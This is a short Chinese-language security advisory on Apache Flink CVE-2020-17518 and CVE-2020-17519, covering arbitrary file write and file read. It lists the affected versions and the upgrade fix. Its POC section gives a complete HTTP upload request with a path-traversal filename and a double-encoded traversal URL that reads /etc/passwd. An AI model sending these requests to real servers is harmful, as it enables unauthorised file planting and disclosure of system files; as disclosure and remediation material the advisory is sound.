漏洞描述
Apache Flink是一个框架和分布式处理引擎,用于对无限制和有限制的数据流进行有状态的计算。
Apache Flink中存在文件写入漏洞,攻击者可通过REST API 构造恶意修改的http header将上载的文件写入本地文件系统的任意位置,文件可以写入Flink可访问的任何位置。
Apache Flink中存在文件读取漏洞,攻击者通过JobManager进程的REST接口读取JobManager本地文件系统中的任何文件,访问权限仅限于JobManager进程可以访问的文件。
漏洞概览
CVE编号:CVE-2020-17518、CVE-2020-17519
漏洞类型:文件写入/读取
危险等级:高危
影响版本
CVE-2020-17518
• Apache Flink 1.5.1-1.11.2
CVE-2020-17519
• Apache Flink 1.11.0, 1.11.1, 1.11.2
修复建议
将 Flink 升级到 1.11.3、1.12.0及以上版本,下载地址:https://flink.apache.org/downloads.html
POC
POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
http://your-ip:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
检测工具
https://github.com/B1anda0/CVE-2020-17519
测试环境
https://github.com/vulhub/vulhub/tree/master/flink